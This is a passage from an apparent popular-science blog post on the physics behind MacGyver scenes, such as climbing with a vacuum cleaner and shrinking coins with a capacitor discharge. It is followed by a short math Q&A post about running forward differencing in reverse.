If you push two surfaces together really hard, there will be a greater frictional force. So, this force from the vacuum cleaner exerts a force that increases the frictional force and this frictional force allows MacGyver to climb like Spider-Man.

Here is something similar with a guy that hangs from an overhang with a vacuum cleaner. Pretty cool.

Shrinking metal

This is real (based on something real). Yes, you can actually make metal things smaller. Here is a great video from Physics Girl (Dianna Cowern) that shows how this works.

The basic idea is to create a HUGE electric current very quickly. This large change in current can create a very high change in magnetic fields. When you put metal in this high changing magnetic field, it induces an electric current in the object. This induced current creates a magnetic field that interacts with the external magnetic field in such a way that the device gets squished. It’s awesome. Oh, when I say “a large change in magnetic field”, I am actually talking about the time derivative of the magnetic flux.

So, what do you need to make this coin shrink thing work? You just need super high current super fast. The best way to do this is to charge up some big capacitors and then discharge them through some wires. That’s essentially what MacGyver does.

The biggest problem is his capacitor. He builds one using two roulette wheels. Like this.

Yes. Any two metal devices can create a capacitor—but you want one with a large surface area and very close together. If you turned the two tables around so the flat side was close to the other one, it would be better—but it’s still a capacitor (but not really big enough for this job). Still, the idea is solid.


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# Forward differencing (and back)

I read that "forward differencing" is a method for "evaluating polynomials at uniformly spaced intervals". That is, if I have parabola like $y = x^2$ and increase $x$ by 1, I can use it.

My question is, does it also work "backwards"? If I want uniformly spaced $y$ values (say by 1 as well), is it somehow possible to use it? How do I choose the "differences" so that the output is regularly spaced?

• Hint: use $ to start a math formula and close it with other $, instead of `. – Sigur Jan 26 '13 at 23:37